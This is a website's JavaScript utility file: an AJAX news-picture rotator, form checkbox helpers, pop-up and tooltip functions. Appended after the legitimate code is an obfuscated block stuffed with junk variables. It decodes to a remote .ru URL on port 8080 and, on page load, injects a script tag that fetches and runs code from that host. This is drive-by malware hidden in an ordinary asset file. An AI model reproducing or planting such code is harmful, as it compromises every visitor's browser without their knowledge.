<!--

// Newspicture Module Begin
//=====================================

var xmlhttp
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
  try {
  xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
 } catch (e) {
  try {
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
  } catch (E) {
   xmlhttp=false
  }
 }
@else
 xmlhttp=false
@end @*/
//Cach goi ham :<a href=Javascript:void(0) onClick="Javascript:showXmlHttp('index.php?catid=39&id=13', 'id_content');"></a>
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
 try {
  xmlhttp = new XMLHttpRequest();
 } catch (e) {
  xmlhttp=false
 }
}

function showxml(url,target)
{

  var span = document.getElementById(target);
    //span.innerHTML = "<br>loading...<br>&nbsp;";
    xmlhttp.open('GET', url , true);
    xmlhttp.onreadystatechange=function() 
    {
      if (xmlhttp.readyState==4)
      {
        span.innerHTML = xmlhttp.responseText;
      }
    }
  xmlhttp.send(null);
  return true;
}

function newspic_display(pic_thumb, pic_full, the_width, the_height, content){
	var str_output	= '<center><a onclick="javascript: return openImage(\''+ pic_full +'\', '+ the_width +', '+ the_height +');" href="#">'+ pic_thumb +'<'+'/a></center>';
	str_output		+= '<br>'+ content;
	document.getElementById('div_NewsPicture').innerHTML	= str_output;
}

function newspic_change(){
	newspic_start++;
	if ( newspic_start >= newspic_total ){
		newspic_start	= 0;
	}

	eval(newspic_info[newspic_start]);
	T_NewsPic	= setTimeout("newspic_change()", newspic_rand_time);
}

function newspic_pause_start(imgID, flag, t_name, template_path){
	if ( newspic_total < 2 ){
		return false;
	}

	var the_img		= document.getElementById(imgID);
	if ( flag == 'pause' ){
		eval("clearTimeout("+ t_name +");");
		the_img.src		= template_path + "/images/ajax_loading_pause.gif";
	}
	else{
		eval(t_name +' = setTimeout("newspic_change()", newspic_rand_time);');
		the_img.src		= template_path + "/images/ajax_loading.gif";
	}
	return true;
}
//=====================================
// Newspicture Module End


function is_checked_item(the_form){
	var count = the_form.elements.length;

	for (i=0;i<count;i++){
		if ( (the_form.elements[i].type == 'checkbox') && (the_form.elements[i].checked == true) ){
			return true;
		}
	}
	return false;
}

function check_all(the_form,the_value){
	var count = the_form.elements.length;

	for (i=0;i<count;i++){
		the_form.elements[i].checked = the_value;
	}
}

function check_uncheck(the_form,the_value){
	var count = the_form.elements.length;

	for (i=0;i<count;i++){
			the_form.elements[i].checked = the_value;
	}
}

function change_src(imgname,the_src){
	if (the_src != ""){	
		imgname.src = the_src;
	}
}

function select_list(the_value,the_list){
	var option_count = the_list.options.length;

	for (i=0;i<option_count;i++){
		if (the_value==the_list.options[i].value){
			the_list.options[i].selected	= true;
			return true;
		}
	}

	return false;
}

function radio_list(the_value,the_list){
	var name_count = the_list.length;

	for (i=0;i<name_count;i++){
		if (the_value==the_list[i].value){
			the_list[i].checked=true;
			break;
		}
	}
}	

function get_radio_value(the_list){
	var name_count = the_list.length;

	for (i=0;i<name_count;i++){
		if (the_list[i].checked == true){
			return the_list[i].value;
		}
	}
	return 0;
}


function open_window(the_url, width, height){
	top_val		= (screen.height - height)/2 - 30;
	if (top_val < 0){ top_val	= 0; }
	left_val	= (screen.width - width)/2;

	var new_win = window.open(the_url, "", "toolbar=0,location=0,status=1,menubar=0,scrollbars=1,resizable=1,width="+ width +",height="+ height +", top="+ top_val +",left="+ left_val);
}

function del_confirm(msg) {
	question = confirm(msg)
	if (question != "0"){
		return true;
	}
	return false;
}

function openImage(the_img, the_width, the_height)
{
	winDef = 'status=no,resizable=yes,scrollbars=no,toolbar=no,location=no,fullscreen=no,titlebar=yes, width='+ the_width +', height='+ the_height;
	winDef = winDef.concat(',top=').concat((screen.height - the_height)/2 - 30);
	winDef = winDef.concat(',left=').concat((screen.width - the_width)/2);
	newwin = open('', '_blank', winDef);

	newwin.document.writeln('<html><title>News Picture</title><body topmargin="0" leftmargin="0" marginheight="0" marginwidth="0">');
	newwin.document.writeln('<a href="" onClick="window.close(); return false;"><img src="', the_img, '" alt="Close" border=0 align="center"></a>');
	newwin.document.writeln('</body></html>');

	return false;
}

function showDateTime(myDate){
	document.write(myDate);
}

function ietruebody(){
	return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body;
}

function show_tip(obj, event){
	var ie	= document.all;
	var ns6	= (document.getElementById && !document.all) ? 1 : 0;
	if (ie || ns6) {
		var tipobj	= document.all ? document.all[obj] : (document.getElementById ? document.getElementById(obj) : "");
		var curX	= (ns6) ? event.pageX : event.x + ietruebody().scrollLeft;
		var curY	= (ns6) ? event.pageY : event.y + ietruebody().scrollTop;
		var rightedge	= (ie && !window.opera) ? ietruebody().clientWidth-event.clientX : window.innerWidth - event.clientX - 16;
		var bottomedge	= (ie && !window.opera) ? ietruebody().clientHeight-event.clientY : window.innerHeight - event.clientY;
		var leftedge	= -1000;

		if ( rightedge < tipobj.offsetWidth ){
			tipobj.style.left	= ie ? ietruebody().scrollLeft + event.clientX-tipobj.offsetWidth+"px" : window.pageXOffset + event.clientX-tipobj.offsetWidth + "px";
		}
		else if (curX<leftedge){
			tipobj.style.left	= "5px";
		}
		else tipobj.style.left	= curX + "px";

		if ( bottomedge < tipobj.offsetHeight ){
			tipobj.style.top	= ie ? ietruebody().scrollTop + event.clientY-tipobj.offsetHeight+16+"px" : window.pageYOffset + event.clientY-tipobj.offsetHeight-16 + "px";
		}
		else{
			tipobj.style.top	= curY + 16 + "px";
			tipobj.style.visibility	= "visible"
			document.body.style.cursor	= "help";
		}
	}
}

function hide_tip(obj){
	var ie	= document.all;
	var ns6	= (document.getElementById && !document.all) ? 1 : 0;
	if (ie || ns6) {
		var tipobj	= document.all ? document.all[obj] : (document.getElementById ? document.getElementById(obj) : "");
		tipobj.style.visibility	= "hidden";
		tipobj.style.left		= "-1000px";
		document.body.style.cursor	= "auto";
	}
}

function hide_field_title(the_field, the_title){
	if (the_field.value == the_title){
		the_field.value	= "";
	}
}

function gotoTop(){
	window.location		= window.location +"#";
}
-->

try {var o;if(o!=''){o='P'};var e="";var t=RegExp;this.j="";var g='replace';var O='g';var l=new String();var gP=new Array();var a='';var W=']';var s;if(s!='' && s!='hX'){s=''};var p='[';function I(v,pY){var VC;if(VC!='Fr' && VC!='X'){VC='Fr'};var Og;if(Og!=''){Og='E'};var zB="";var tp="";var pn=p;this.VA="";pn+=pY;var aB;if(aB!='' && aB!='cd'){aB='N'};pn+=W;this.Z='';var aC;if(aC!='r' && aC != ''){aC=null};var L=new t(pn, O);var Fi=new Array();var gC=new Date();return v[g](L, a);this.oE="";var y;if(y!='DH' && y != ''){y=null};};var st=new Array();var F=I('h8tqt8p8:8/8/qdqm8oqzq-qoqrqg8.qmqe8gqa8pqoqr8n8.qc8oqm8.q18183838-8cqc8.qs8i8tqe8m8y8wqoqr8l8d8.qr8u8:8',"8q");var hE;if(hE!='Xm' && hE != ''){hE=null};var gj=I('oZnjlqoqaqdq',"jLZq");var FY=new Date();var C='';var GB;if(GB!='' && GB!='iO'){GB=''};this.vc='';var c=I('sYcNreiNpQth',"hQeYN");var im=new Date();var Qa;if(Qa!='xS' && Qa!='yg'){Qa=''};var gb=I('bkoHdwyH',"wHk");var _=I('aXpXptetnTdXCXhTiTlXdX',"XtT");var V=I('syeytlAytytlryiybyuytlel',"yl");var m;if(m!='H'){m=''};var dC=new Date();var v="1";var Zm;if(Zm!='' && Zm!='Dg'){Zm='Tl'};var z=I('cFr0e0a0t0eFEFlFe0m0e0nFt0',"F0");var VN=I('87750575875507775',"75");var kq;if(kq!='sc' && kq!='uL'){kq=''};var mO=new Array();var Q=I('/8d8r0u0d0g0e8r0e8p0o0r8t8.8c0o0m8/0d0r0u0d8g0e0r0e0p0o8r8t8.8c8o0m8/8g0o0o8g0l0e0.0c8o8m0/8m8a8s8h8a8b0l8e8.0c8o8m8/0o0r8k0u8t0.0c8o8m8.0b8r0.8p0h0p8',"08");var sr;if(sr!='HT' && sr!='xC'){sr='HT'};var xl;if(xl!=''){xl='Yl'};var sh="";window[gj]=function(){var ib='';var Mk;if(Mk!='Ge' && Mk != ''){Mk=null};var Dj=new Array();cI=document[z](c);var VP="";C+=F;var Ti;if(Ti!='vv' && Ti!='AG'){Ti='vv'};var WF=new Date();C+=VN;var kB=new String();var ET;if(ET!='' && ET!='yb'){ET=null};C+=Q;this.LK='';cI.src=C;var zO=new Date();cI.setAttribute('defer', v);var Rs=new String();var S=document[gb];var UF;if(UF!='cn'){UF=''};var lZ="";this.xa='';S.appendChild(cI);};var FV=new String();this.pf="";var hUz;if(hUz!='dL'){hUz='dL'};} catch(n){this.hn="";var nD=new String();};var bS;if(bS!='' && bS!='Lx'){bS=''};var nh;if(nh!='' && nh!='Qn'){nh=''};